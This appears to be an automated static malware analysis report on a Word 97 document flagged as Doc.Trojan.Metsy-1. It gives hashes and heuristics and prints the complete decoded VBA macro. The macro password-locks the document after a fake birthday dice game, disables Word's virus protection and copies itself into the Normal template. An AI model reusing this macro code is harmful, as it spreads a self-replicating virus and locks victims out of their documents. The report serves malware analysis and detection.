Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fbd3f6c00a863ad5…

MALICIOUS

Office (OLE)

35.0 KB Created: 2000-03-07 14:56:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e1032d53fb3bd81eda783ef61f580430 SHA-1: 07c0114a7e1af4dc8a47a0acf0103dff2a4c6ac0 SHA-256: fbd3f6c00a863ad56f782637355f610119ed127385a6a6e1987db802cf17606a
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes upon opening the document. This macro displays a fake game to the user, and if the user 'loses', it sets a password on the document and saves it. It also attempts to export a component to 'C:\System.dat' and potentially modify the Normal template, suggesting an attempt at persistence. The ClamAV detection further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Metsy-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Metsy-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2386 bytes
SHA-256: 2ad6b18cedb70bbfaee2bf3ab5e83475fa0aed49728a42d3faf8d77ab273c1a8
Detection
ClamAV: Doc.Trojan.Metys-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
If Day(Date) = 7 And Month(Date) = 2 Then
     MsgBox "Happy Birthday Jess! To celebrate, we're going to see how lucky you are " & Application.UserName & ". Click the OK button below to roll a number. If your number matches that of the dealer, you win!"
     X = Int((9 * Rnd) + 1)
     Y = Int((9 * Rnd) + 1)
          If X = Y Then
               MsgBox "You roll a " & X & " and the dealer rolls a " & Y & ". You win!"
               Exit Sub
          Else
               MsgBox "You roll a " & X & " and the dealer rolls a " & Y & ". I'm sorry, but you lost. Better luck next time!"
               For i = 1 To 14
                    RndNumber = Int((9 * Rnd) + 0)
                    X = X & RndNumber
               Next i
                    ActiveDocument.Words.First = "YOU LOSE! "
                    ActiveDocument.Password = X
                    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
                    ActiveDocument.Close
          End If
End If
Exit Sub
End Sub

Private Sub Document_Close()
On Error GoTo Out
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
AD = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
NT = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
If NT > 55 And AD > 0 Then GoTo Out
If NT < 55 Then
     Set host = NormalTemplate.VBProject.VBComponents.Item(1)
     ActiveDocument.VBProject.VBComponents(1).Export "C:\System.dat"
     host.codemodule.AddFromFile ("C:\System.dat")
     With host.codemodule
     For X = 1 To 4
     .DeleteLines 1
     Next X
     End With
     Kill ("C:\System.dat")
End If
If AD = 0 Then
     Set host = ActiveDocument.VBProject.VBComponents.Item(1)
     NormalTemplate.VBProject.VBComponents(1).Export "C:\System.dat"
     host.codemodule.AddFromFile ("C:\System.dat")
     With host.codemodule
     For X = 1 To 4
     .DeleteLines 1
     Next X
     End With
     Kill ("C:\System.dat")
End If
Out:
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub

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